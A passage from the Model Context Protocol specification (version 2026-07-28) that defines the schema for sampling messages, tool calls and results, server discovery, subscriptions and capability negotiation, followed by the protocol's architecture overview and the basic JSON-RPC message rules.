The client **SHOULD** prioritize these hints over the numeric priorities, but **MAY** still use the priorities to select from ambiguous matches.

costPriority?: number

How much to prioritize cost when selecting a model. A value of 0 means cost is not important, while a value of 1 means cost is the most important factor.

speedPriority?: number

How much to prioritize sampling speed (latency) when selecting a model. A value of 0 means speed is not important, while a value of 1 means speed is the most important factor.

intelligencePriority?: number

How much to prioritize intelligence and capabilities when selecting a model. A value of 0 means intelligence is not important, while a value of 1 means intelligence is the most important factor.

```
### `SamplingMessage`  
interface SamplingMessage {  
  role: Role;  
  content: SamplingMessageContentBlock | SamplingMessageContentBlock[];  
  _meta?: MetaObject;  
}
```

Describes a message issued to or received from an LLM API.

► Example: Single content block

► Example: Multiple content blocks

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

role: Role

content: SamplingMessageContentBlock | SamplingMessageContentBlock[]

`_meta?: MetaObject`

`SamplingMessageContentBlock`

SamplingMessageContentBlock:

- | [TextContent](#)
- | [ImageContent](#)
- | [AudioContent](#)
- | [ToolUseContent](#)
- | [ToolResultContent](#)

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

`ToolChoice`

```
interface ToolChoice {  
  mode?: "none" | "required" | "auto";  
}
```

Controls tool selection behavior for sampling requests.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

```
mode?: "none" | "required" | "auto"
```

Controls the tool use ability of the model:

- `"auto"`: Model decides whether to use tools (default)

- `"required"`: Model MUST use at least one tool before completing
- `"none"`: Model MUST NOT use any tools

`ToolResultContent`

```
interface ToolResultContent {  
  type: "tool_result";  
  toolUseId: string;  
  content: ContentBlock[];  
  structuredContent?: unknown;  
  isError?: boolean;  
  \_meta?: MetaObject;  
}
```

The result of a tool use, provided by the user back to the assistant.

► Example: ``get_weather`` tool result

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

type: "tool_result"

toolUseId: string

The ID of the tool use this result corresponds to.

This MUST match the ID from a previous [ToolUseContent](#).

content: ContentBlock[]

The unstructured result content of the tool use.

This has the same format as [CallToolResult.content](#) and can include text, images, audio, resource links, and embedded resources.

structuredContent?: unknown

An optional structured result value.

This can be any JSON value (object, array, string, number, boolean, or null). If the tool defined an [Tool.outputSchema](#), this SHOULD conform to that schema.

isError?: boolean

Whether the tool use resulted in an error.

If true, the content typically describes the error that occurred. Default: false

`_meta?: MetaObject`

Optional metadata about the tool result. Clients SHOULD preserve this field when including tool results in subsequent sampling requests to enable caching optimizations.

```
### `ToolUseContent`  
interface ToolUseContent {  
  type: "tool_use";  
  id: string;  
  name: string;  
  input: { [key: string]: unknown };  
  \_meta?: MetaObject;  
}
```

A request from the assistant to call a tool.

► Example: ``get_weather`` tool use

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

type: "tool_use"

id: string

A unique identifier for this tool use.

This ID is used to match tool results to their corresponding tool uses.

name: string

The name of the tool to call.

input: { [key: string]: unknown }

The arguments to pass to the tool, conforming to the tool's input schema.

`_meta?: MetaObject`

Optional metadata about the tool use. Clients SHOULD preserve this field when including tool uses in subsequent sampling requests to enable caching optimizations.

`server/discover`

```
### `DiscoverRequest`  
interface DiscoverRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "server/discover";  
  params: RequestParams;  
}
```

A request from the client asking the server to advertise its supported protocol versions, capabilities, and other metadata. Servers **MUST** implement `server/discover`. Clients **MAY** call it but are not required to — version negotiation can also happen inline via per-request `_meta`.

► Example: Discover request

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "server/discover"

Overrides [JSONRPCRequest.method](#)

params: RequestParams

Overrides [JSONRPCRequest.params](#)

```
### `DiscoverResultResponse`  
interface DiscoverResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: DiscoverResult;  
}
```

A successful response from the server for a [server/discover](#) request.

► Example: Discover result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: DiscoverResult

Overrides [JSONRPCResultResponse.result](#)

```
### `DiscoverResult`  
interface DiscoverResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  supportedVersions: string[];  
  capabilities: ServerCapabilities;  
  instructions?: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";
```

```
[key: string]: unknown;  
}
```

The result returned by the server for a [server/discover](#) request.

► Example: Server capabilities discovery

_meta?: ResultMetaObject

Inherited from CacheableResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `CacheableResult.resultType`

supportedVersions: string[]

MCP Protocol Versions this server supports. The client should choose a version from this list for use in subsequent requests.

capabilities: ServerCapabilities

The capabilities of the server.

instructions?: string

Natural-language guidance describing the server and its features.

This can be used by clients to improve an LLM's understanding of available tools (e.g., by including it in a system prompt). It should focus on information that helps the model use the server effectively and should not duplicate information already in tool descriptions.

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

`ClientCapabilities`

```

interface ClientCapabilities {
  experimental?: { [key: string]: JSONObject };
  roots?: {};
  sampling?: { context?: JSONObject; tools?: JSONObject };
  elicitation?: { form?: JSONObject; url?: JSONObject };
  extensions?: { [key: string]: JSONObject };
}

```

Capabilities a client may support. Known capabilities are defined here, in this schema, but this is not a closed set: any client can define its own, additional capabilities.

```

experimental?: { [key: string]: JSONObject }

```

Experimental, non-standard capabilities that the client supports.

roots?: {}

Present if the client supports listing roots.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

- Example: Roots — minimum baseline support

sampling?: { context?: JSONObject; tools?: JSONObject }

Present if the client supports sampling from an LLM.

Type Declaration

- Optional context?: [JSONObject](#)

Whether the client supports context inclusion via `includeContext` parameter. If not declared, servers SHOULD only use `includeContext: "none"` (or omit it).

- Optional tools?: [JSONObject](#)

Whether the client supports tool use via `tools` and `toolChoice` parameters.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

- Example: Sampling — minimum baseline support

- ▶ Example: Sampling — tool use support

- ▶ Example: Sampling — context inclusion support (deprecated)

elicitation?: { form?: JSONObject; url?: JSONObject }

Present if the client supports elicitation from the server.

- ▶ Example: Elicitation — form and URL mode support

- ▶ Example: Elicitation — form mode only (implicit)

```
extensions?: { [key: string]: JSONObject }
```

Optional MCP extensions that the client supports. Keys are extension identifiers (e.g., "io.modelcontextprotocol/oauth-client-credentials"), and values are per-extension settings objects. An empty object indicates support with no settings.

Keys MUST follow the [_meta key naming rules](#), with a mandatory prefix.

- Example: Extensions — MCP Apps (UI) extension with MIME type support

```
### `Implementation`  
interface Implementation {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  version: string;  
  description?: string;  
  websiteUrl?: string;  
}
```

Describes the MCP implementation.

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from Icons.icons

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

version: string

The version of this implementation.

description?: string

An optional human-readable description of what this implementation does.

This can be used by clients or servers to provide context about their purpose and capabilities. For example, a server might describe the types of resources or tools it provides, while a client might describe its intended use case.

websiteUrl?: string

An optional URL of the website for this implementation.

```
### `ServerCapabilities`  
interface ServerCapabilities {  
  experimental?: { [key: string]: JSONObject };  
  logging?: JSONObject;  
  completions?: JSONObject;  
  prompts?: { listChanged?: boolean };  
  resources?: { subscribe?: boolean; listChanged?: boolean };  
  tools?: { listChanged?: boolean };  
  extensions?: { [key: string]: JSONObject };  
}
```

Capabilities that a server may support. Known capabilities are defined here, in this schema, but this is not a closed set: any server can define its own, additional capabilities.

experimental?: { [key: string]: JSONObject }

Experimental, non-standard capabilities that the server supports.

logging?: JSONObject

Present if the server supports sending log messages to the client.

Deprecated

Deprecated as of protocol version 2026-07-28 (SEP-2577). Remains in the specification for at least twelve months; see the deprecated features registry.

- ▶ Example: Logging — minimum baseline support

completions?: JSONObject

Present if the server supports argument autocompletion suggestions.

- Example: Completions — minimum baseline support

```
prompts?: { listChanged?: boolean }
```

Present if the server offers any prompt templates.

Type Declaration

- `optional listChanged?: boolean`

Whether this server supports notifications for changes to the prompt list.

- ▶ Example: Prompts — minimum baseline support

- ▶ Example: Prompts — list changed notifications

```
resources?: { subscribe?: boolean; listChanged?: boolean }
```

Present if the server offers any resources to read.

Type Declaration

- `optional subscribe?: boolean`

Whether this server supports subscribing to resource updates.

- `optional listChanged?: boolean`

Whether this server supports notifications for changes to the resource list.

- ▶ Example: Resources — minimum baseline support

- ▶ Example: Resources — subscription to individual resource updates (only)

- Example: Resources — list changed notifications (only)

► Example: Resources — all notifications

```
tools?: { listChanged?: boolean }
```

Present if the server offers any tools to call.

Type Declaration

- `optional listChanged?: boolean`

Whether this server supports notifications for changes to the tool list.

- Example: Tools — minimum baseline support

► Example: Tools — list changed notifications

extensions?: { [key: string]: JSONObject }

Optional MCP extensions that the server supports. Keys are extension identifiers (e.g., "io.modelcontextprotocol/tasks"), and values are per-extension settings objects. An empty object indicates support with no settings.

Keys MUST follow the [_meta key naming rules](#), with a mandatory prefix.

► Example: Extensions — Tasks extension support

subscriptions/listen

```
### `SubscriptionsListenRequest`  
interface SubscriptionsListenRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "subscriptions/listen";  
  params: SubscriptionsListenRequestParams;  
}
```

Sent from the client to open a long-lived channel for receiving notifications outside the context of a specific request. Replaces the previous HTTP GET endpoint and ensures consistent behavior

between HTTP and STDIO.

- ▶ Example: Listen for tools and resource list changes

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "subscriptions/listen"

Overrides [JSONRPCRequest.method](#)

params: SubscriptionsListenRequestParams

Overrides [JSONRPCRequest.params](#)

```
### `SubscriptionsListenRequestParams`  
interface SubscriptionsListenRequestParams {  
  \_meta: RequestMetaObject;  
  notifications: SubscriptionFilter;  
}
```

Parameters for a [subscriptions/listen](#) request.

_meta: RequestMetaObject

Inherited from [RequestParams._meta](#)

notifications: SubscriptionFilter

The notifications the client opts in to on this stream. The server **MUST NOT** send notification types the client has not explicitly requested.

```
### `SubscriptionsListenResultResponse`  
interface SubscriptionsListenResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: SubscriptionsListenResult;  
}
```

A successful response from the server for a [subscriptions/listen](#) request, sent when the server tears the subscription down gracefully.

- ▶ Example: Subscription closed gracefully response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: SubscriptionsListenResult

Overrides [JSONRPCResultResponse.result](#)

```
### `SubscriptionsListenResult`  
interface SubscriptionsListenResult {  
  resultType: string;  
  \_meta: SubscriptionsListenResultMetaObject;  
  [key: string]: unknown;  
}
```

The response to a [subscriptions/listen](#) request, signalling that the subscription has ended gracefully (for example, during server shutdown). Because the listen stream is long-lived, this result is sent only when the server tears the subscription down; an abrupt transport close carries no response. The result body is otherwise empty.

- Example: Subscription closed gracefully

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from [Result.resultType](#)

`_meta: SubscriptionsListenResultMetaObject`

Overrides [Result._meta](#)

```
### `SubscriptionFilter`  
interface SubscriptionFilter {  
  toolsListChanged?: boolean;  
  promptsListChanged?: boolean;  
  resourcesListChanged?: boolean;  
  resourceSubscriptions?: string[];  
}
```

The set of notification types a client may opt in to on a [subscriptions/listen](#) request.

Each notification type is **opt-in**; the server **MUST NOT** send notification types the client has not explicitly requested here.

toolsListChanged?: boolean

If true, receive [notifications/tools/list_changed](#).

promptsListChanged?: boolean

If true, receive [notifications/prompts/list_changed](#).

resourcesListChanged?: boolean

If true, receive [notifications/resources/list_changed](#).

resourceSubscriptions?: string[]

Subscribe to [notifications/resources/updated](#) for these resource URIs. Replaces the former `resources/subscribe` RPC.

```
### `SubscriptionsListenResultMetaObject`  
interface SubscriptionsListenResultMetaObject {  
  "io.modelcontextprotocol/serverInfo"?: Implementation;  
  "io.modelcontextprotocol/subscriptionId": RequestId;  
  [key: string]: unknown;  
}
```

Extends [ResultMetaObject](#) with the subscription-stream identifier carried by a [SubscriptionsListenResult](#). All key naming rules from `MetaObject` apply.

See

[MetaObject](#) for key naming rules and reserved prefixes.

"io.modelcontextprotocol/serverInfo"?: Implementation

Identifies the server software producing the response. Servers SHOULD include this field on every response unless specifically configured not to do so.

The [Implementation](#) schema requires `name` and `version`; other fields are optional.

The value is self-reported by the server and is not verified by the protocol. It is intended for display, logging, and debugging. Clients SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for security decisions.

Inherited from [ResultMetaObject.io.modelcontextprotocol/serverInfo](#)

"io.modelcontextprotocol/subscriptionId": RequestId

Identifies the subscription stream this response closes, so the client can correlate it with the originating subscription — mirroring the same key on the stream's notifications. The value is the JSON-RPC ID of the `subscriptions/listen` request that opened the stream (and equals this response's `id`).

tools/call

```
### `CallToolRequest`  
interface CallToolRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  method: "tools/call";
```

```
params: CallToolRequestParams;  
}
```

Used by the client to invoke a tool provided by the server.

► Example: Call tool request

jsonrpc: "2.0"

Inherited from [JSONRPCRequest.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCRequest.id](#)

method: "tools/call"

Overrides [JSONRPCRequest.method](#)

params: [CallToolRequestParams](#)

Overrides [JSONRPCRequest.params](#)

```
### `CallToolRequestParams`  
interface CallToolRequestParams {  
  \_meta: RequestMetaObject;  
  inputResponses?: InputResponses;  
  requestState?: string;  
  name: string;  
  arguments?: { [key: string]: unknown };  
}
```

Parameters for a `tools/call` request.

► Example: ``get_weather`` tool call params

- Example: Tool call params with progress token

_meta: RequestMetaObject

Inherited from [InputResponseRequestParams._meta](#)

inputResponses?: InputResponses

Inherited from [InputResponseRequestParams.inputResponses](#)

requestState?: string

Inherited from [InputResponseRequestParams.requestState](#)

name: string

The name of the tool.

arguments?: { [key: string]: unknown }

Arguments to use for the tool call.

```
### `CallToolResultResponse`  
interface CallToolResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: InputRequiredResult | CallToolResult;  
}
```

A successful response from the server for a [tools/call](#) request.

► Example: Call tool result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: InputRequiredResult | CallToolResult

Overrides [JSONRPCResultResponse.result](#)

```
### `CallToolResult`  
interface CallToolResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  content: ContentBlock[];  
  structuredContent?: unknown;  
  isError?: boolean;  
  [key: string]: unknown;  
}
```

The result returned by the server for a [tools/call](#) request.

► Example: Result with unstructured text

► Example: Result with structured content

► Example: Invalid tool input error

_meta?: ResultMetaObject

Inherited from [Result._meta](#)

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from [Result.resultType](#)

content: ContentBlock[]

A list of content objects that represent the unstructured result of the tool call.

structuredContent?: unknown

An optional JSON value that represents the structured result of the tool call.

This can be any JSON value (object, array, string, number, boolean, or null) that conforms to the tool's outputSchema if one is defined.

isError?: boolean

Whether the tool call ended in an error.

If not set, this is assumed to be false (the call was successful).

Any errors that originate from the tool SHOULD be reported inside the result object, with `isError` set to true, *not* as an MCP protocol-level error response. Otherwise, the LLM would not be able to see that an error occurred and self-correct.

However, any errors in *finding* the tool, an error indicating that the server does not support tool calls, or any other exceptional conditions, should be reported as an MCP error response.

```
### `ListToolsRequest`  
interface ListToolsRequest {  
  jsonrpc: "2.0";  
  id: RequestId;  
  params: PaginatedRequestParams;  
  method: "tools/list";  
}
```

Sent from the client to request a list of tools the server has.

► Example: List tools request

jsonrpc: "2.0"

Inherited from PaginatedRequest.jsonrpc

id: RequestId

Inherited from PaginatedRequest.id

params: PaginatedRequestParams

Inherited from PaginatedRequest.params

method: "tools/list"

Overrides PaginatedRequest.method

```
### `ListToolsResultResponse`  
interface ListToolsResultResponse {  
  jsonrpc: "2.0";  
  id: RequestId;  
  result: ListToolsResult;  
}
```

A successful response from the server for a [tools/list](#) request.

► Example: List tools result response

jsonrpc: "2.0"

Inherited from [JSONRPCResultResponse.jsonrpc](#)

id: RequestId

Inherited from [JSONRPCResultResponse.id](#)

result: ListToolsResult

Overrides [JSONRPCResultResponse.result](#)

```
### `ListToolsResult`  
interface ListToolsResult {  
  \_meta?: ResultMetaObject;  
  resultType: string;  
  nextCursor?: string;  
  ttlMs: number;  
  cacheScope: "public" | "private";  
  tools: Tool\[\];  
  [key: string]: unknown;  
}
```

The result returned by the server for a [tools/list](#) request.

- Example: Tools list with cursor and TTL

_meta?: ResultMetaObject

Inherited from PaginatedResult._meta

resultType: string

Indicates the type of the result, which allows the client to determine how to parse the result object.

Servers implementing this protocol version MUST include this field. For backward compatibility, when a client receives a result from a server implementing an earlier protocol version (which does not include `resultType`), the client MUST treat the absent field as `"complete"`.

Inherited from `PaginatedResult.resultType`

nextCursor?: string

An opaque token representing the pagination position after the last returned result. If present, there may be more results available.

Inherited from `PaginatedResult.nextCursor`

ttlMs: number

A hint from the server indicating how long (in milliseconds) the client MAY cache this response before re-fetching. Semantics are analogous to HTTP Cache-Control max-age.

- If 0, The response SHOULD be considered immediately stale, The client MAY re-fetch every time the result is needed.
- If positive, the client SHOULD consider the result fresh for this many milliseconds after receiving the response.

Inherited from CacheableResult.ttlMs

cacheScope: "public" | "private"

Indicates the intended scope of the cached response, analogous to HTTP `Cache-Control: public` vs `Cache-Control: private`.

- `"public"`: The response does not contain user-specific data. Any client or intermediary (e.g., shared gateway, caching proxy) MAY cache the response and serve it across authorization contexts.
- `"private"`: The response MAY be cached and reused only within the same authorization context. Caches MUST NOT be shared across authorization contexts (e.g., a different access token requires a different cache).

Inherited from `CacheableResult.cacheScope`

tools: Tool[]

```
### `Tool`  
interface Tool {  
  icons?: Icon[];  
  name: string;  
  title?: string;  
  description?: string;  
  inputSchema: { $schema?: string; type: "object"; [key: string]: unknown };  
  outputSchema: { $schema?: string; [key: string]: unknown };  
  annotations?: ToolAnnotations;  
  \_meta?: MetaObject;  
}
```

Definition for a tool the client can call.

► Example: With default 2020-12 input schema

- Example: With explicit draft-07 input schema

► Example: With no parameters

- Example: With output schema for structured content

icons?: Icon[]

Optional set of sized icons that the client can display in a user interface.

Clients that support rendering icons MUST support at least the following MIME types:

- `image/png` - PNG images (safe, universal compatibility)
- `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)

Clients that support rendering icons SHOULD also support:

- `image/svg+xml` - SVG images (scalable but requires security precautions)
- `image/webp` - WebP images (modern, efficient format)

Inherited from Icons.icons

name: string

Intended for programmatic or logical use, but used as a display name in past specs or fallback (if title isn't present).

Inherited from BaseMetadata.name

title?: string

Intended for UI and end-user contexts — optimized to be human-readable and easily understood, even by those unfamiliar with domain-specific terminology.

If not provided, the name should be used for display (except for [Tool](#), where `annotations.title` should be given precedence over using `name`, if present).

Inherited from BaseMetadata.title

description?: string

A human-readable description of the tool.

This can be used by clients to improve the LLM's understanding of available tools. It can be thought of like a "hint" to the model.

```
inputSchema: { $schema?: string; type: "object"; [key: string]: unknown }
```

A JSON Schema object defining the expected parameters for the tool.

Tool arguments are always JSON objects, so `type: "object"` is required at the root. Beyond that, any JSON Schema 2020-12 keyword may appear alongside `type` — including composition keywords (`oneOf`, `anyOf`, `allOf`, `not`), conditional keywords (`if / then / else`), reference keywords (`$ref`, `$defs`, `$anchor`), and any other standard validation or annotation keywords.

Property schemas may carry an `x-mcp-header` annotation to mirror the argument value into an HTTP header on the Streamable HTTP transport. See the Streamable HTTP transport specification for the validity and extraction rules.

Defaults to JSON Schema 2020-12 when no explicit `$schema` is provided.

```
outputSchema?: { $schema?: string; [key: string]: unknown }
```

An optional JSON Schema object defining the structure of the tool's output returned in the structuredContent field of a [CallToolResult](#). This can be any valid JSON Schema 2020-12.

Defaults to JSON Schema 2020-12 when no explicit `$schema` is provided.

annotations?: ToolAnnotations

Optional additional tool information.

Display name precedence order is: `title`, `annotations.title`, then `name`.

`_meta?: MetaObject`

```
### `ToolAnnotations`  
interface ToolAnnotations {  
  title?: string;  
  readOnlyHint?: boolean;  
  destructiveHint?: boolean;  
  idempotentHint?: boolean;  
  openWorldHint?: boolean;  
}
```

Additional properties describing a [Tool](#) to clients.

NOTE: all properties in `ToolAnnotations` are **hints**. They are not guaranteed to provide a faithful description of tool behavior (including descriptive properties like `title`).

Clients should never make tool use decisions based on `ToolAnnotations` received from untrusted servers.

title?: string

A human-readable title for the tool.

readOnlyHint?: boolean

If true, the tool does not modify its environment.

Default: false

destructiveHint?: boolean

If true, the tool may perform destructive updates to its environment. If false, the tool performs only additive updates.

(This property is meaningful only when `readOnlyHint == false`)

Default: true

idempotentHint?: boolean

If true, calling the tool repeatedly with the same arguments will have no additional effect on its environment.

(This property is meaningful only when `readOnlyHint == false`)

Default: false

openWorldHint?: boolean

If true, this tool may interact with an "open world" of external entities. If false, the tool's domain of interaction is closed. For example, the world of a web search tool is open, whereas that of a memory tool is not.

Default: true

[mcp / specification/2026-07-28/architecture](#)

Architecture

mcp/specification/2026-07-28/architecture/index.mdx

The Model Context Protocol (MCP) follows a client-host-server architecture where each host can run multiple client instances. MCP is a stateless protocol: every request is self-contained and carries its own protocol version and capabilities. This architecture enables users to integrate AI capabilities across applications while maintaining clear security boundaries and isolating concerns. Built on JSON-RPC, MCP provides a protocol focused on context exchange and sampling coordination between clients and servers.

Core Components

```
graph LR
    subgraph "Application Host Process"
        H[Host]
        C1[Client 1]
        C2[Client 2]
        C3[Client 3]
        H --> C1
        H --> C2
        H --> C3
    end

    subgraph "Local machine"
        S1[Server 1<br>Files & Git]
        S2[Server 2<br>Database]
        R1["Local<br>Resource A"]
        R2["Local<br>Resource B"]

        C1 --> S1
        C2 --> S2
        S1 <--> R1
        S2 <--> R2
    end

    subgraph "Internet"
        S3[Server 3<br>External APIs]
        R3["Remote<br>Resource C"]

        C3 --> S3
        S3 <--> R3
    end
```

Host

The host process acts as the container and coordinator:

- Creates and manages multiple client instances
- Controls client connection permissions and lifecycle
- Enforces security policies and consent requirements
- Handles user authorization decisions
- Coordinates AI/LLM integration and sampling
- Manages context aggregation across clients

Clients

Each client is created by the host and communicates with exactly one server:

- Communicates with exactly one server
- Attaches protocol version and capabilities to every request
- Routes protocol messages bidirectionally
- Manages subscriptions and notifications
- Maintains security boundaries between servers

A host application creates and manages multiple clients, with each client having a 1:1 relationship with a particular server.

Servers

Servers provide specialized context and capabilities:

- Expose resources, tools and prompts via MCP primitives
- Operate independently with focused responsibilities
- Request client input (sampling, elicitation, roots) via `InputRequiredResult` within a reply
- Must respect security constraints
- Can be local processes or remote services

Design Principles

MCP is built on several key design principles that inform its architecture and implementation:

1. **Servers should be extremely easy to build** - Host applications handle complex orchestration responsibilities - Servers focus on specific, well-defined capabilities - Simple interfaces minimize implementation overhead - Clear separation enables maintainable code
2. **Servers should be highly composable** - Each server provides focused functionality in isolation - Multiple servers can be combined seamlessly - Shared protocol enables interoperability - Modular design supports extensibility

3. **Servers should not be able to read the whole conversation, nor "see into" other servers** - Servers receive only necessary contextual information - Full conversation history stays with the host - Each server maintains isolation - Cross-server interactions are controlled by the host - Host process enforces security boundaries
4. **Features can be added to servers and clients progressively** - Core protocol provides minimal required functionality - Additional capabilities can be negotiated as needed - Servers and clients evolve independently - Protocol designed for future extensibility - Backwards compatibility is maintained

Capability Negotiation

The Model Context Protocol uses a capability-based negotiation system where clients and servers declare their supported features on each request. Clients include their capabilities in `_meta.io.modelcontextprotocol/clientCapabilities` on every request. Servers advertise their capabilities in response to [server/discover](#), which clients may call before any other request for up-front capability discovery.

- Servers declare capabilities like tool support, resource subscriptions, and prompt templates
- Clients declare capabilities like sampling support and elicitation handling
- Both parties must respect declared capabilities throughout the interaction
- Additional capabilities can be negotiated through extensions to the protocol

```
sequenceDiagram
    participant Host
    participant Client
    participant Server

    opt Discovery
        Client->>Server: server/discover
        Server-->>Client: supported versions + capabilities
    end

    loop Client Requests
        Host->>Client: User- or model-initiated action
        Client->>Server: Request (with _meta: version, clientCapabilities)
        alt Server requires client input
            Server-->>Client: InputRequiredResult (e.g. sampling/createMessage)
            Client->>Host: Forward to AI
            Host-->>Client: AI response
            Client->>Server: Original request (with input)
        end
        Server-->>Client: Response
        Client-->>Host: Update UI or respond to model
    end

    opt Subscriptions
```

```
Client->>Server: subscriptions/listen (toolsListChanged, resourceSubscriptions, ...)
Server-->Client: notifications/subscriptions/acknowledged
loop Stream
    Server-->Client: notifications/* (tagged with subscriptionId)
end
end
```

Each capability unlocks specific protocol features on a per-request basis. For example:

- Implemented [server features](#) must be advertised in the server's capabilities
- Receiving resource update notifications requires opening a [subscriptions/listen](#) stream with the desired resource URIs
- [Tool](#) invocation requires the server to declare tool capabilities

This capability negotiation ensures clients and servers have a clear understanding of supported functionality while maintaining protocol extensibility.

[mcp / specification/2026-07-28/basic](#)

Overview

mcp/specification/2026-07-28/basic/index.mdx

The Model Context Protocol consists of several key components that work together:

- **Base Protocol:** Core JSON-RPC message types
- **Versioning and Compatibility:** Protocol version negotiation, extension negotiation, and interoperability with earlier protocol revisions
- **Message Patterns:** Messaging patterns supported by the core protocol including request and response, multi round-trip requests (MRTR), and subscribe and notify
- **Authorization:** Authentication and authorization framework for HTTP-based transports
- **Server Features:** Resources, prompts, and tools exposed by servers
- **Client Features:** Elicitation, sampling and root directory lists provided by clients
- **Utilities:** Cross-cutting concerns like logging and argument completion

All implementations **MUST** support the base protocol, versioning, and the message patterns. Other components **MAY** be implemented based on the specific needs of the application.

These protocol layers establish clear separation of concerns while enabling rich interactions between clients and servers. The modular design allows implementations to support exactly the features they need.

Messages

All messages between MCP clients and servers **MUST** follow the [JSON-RPC 2.0](#) specification. The protocol defines these types of messages:

Requests

[Requests](#) are sent from the client to the server, to initiate an operation.

```
{
  jsonrpc: "2.0";
  id: string | number;
  method: string;
  params?: {
    [key: string]: unknown;
  };
}
```

- Requests **MUST** include a string or integer ID.
- Unlike base JSON-RPC, the ID **MUST NOT** be `null`.
- The request ID **MUST NOT** match the ID of any other request the sender has issued and not yet received a response for.

Responses

Responses are sent in reply to requests, containing either the result or error of the operation.

Result Responses

[Result responses](#) are sent when the operation completes successfully.

```
{
  jsonrpc: "2.0";
  id: string | number;
  result: {
    resultType: string;
    [key: string]: unknown;
  };
}
```

- Result responses **MUST** include the same ID as the request they correspond to.
- Result responses **MUST** include a `result` field.
- The `result` **MAY** follow any JSON object structure.
- The `result` **MUST** include a `resultType` field to indicate the type of the result.

ResultType

The `resultType` field in a result indicates the type of the result being returned. MCP supports polymorphic result types, allowing servers to return different structures based on the outcome of the request. The `resultType` field is a string that clients can use to determine how to parse and handle the `result` object.

- A `resultType` of `"complete"` indicates the request completed successfully and the result contains the final content.
- A `resultType` of `"input_required"` indicates the request is incomplete and more information is needed to process the request. The result contains an [InputRequiredResult](#) object with additional information needed.
- Extensions **MAY** add additional `ResultType` values. The set of supported `ResultType` values **MUST** be created from the set defined in the core protocol and include any additional values of supported extensions that are advertised via capabilities.
- A `resultType` of any value unrecognized by the client **MUST** be considered invalid.
- For backward compatibility with servers implementing earlier protocol versions, which do not include `resultType`, clients **MUST** treat an absent `resultType` as `"complete"`.

Error Responses

[Error responses](#) are sent when the operation fails or encounters an error.

```

{
  jsonrpc: "2.0";
  id?: string | number;
  error: {
    code: number;
    message: string;
    data?: unknown;
  }
}

```

- Error responses **MUST** include the same ID as the request they correspond to (except in error cases where the ID could not be read due a malformed request).
- Error responses **MUST** include an `error` field with a `code` and `message`.
- Error codes **MUST** be integers.
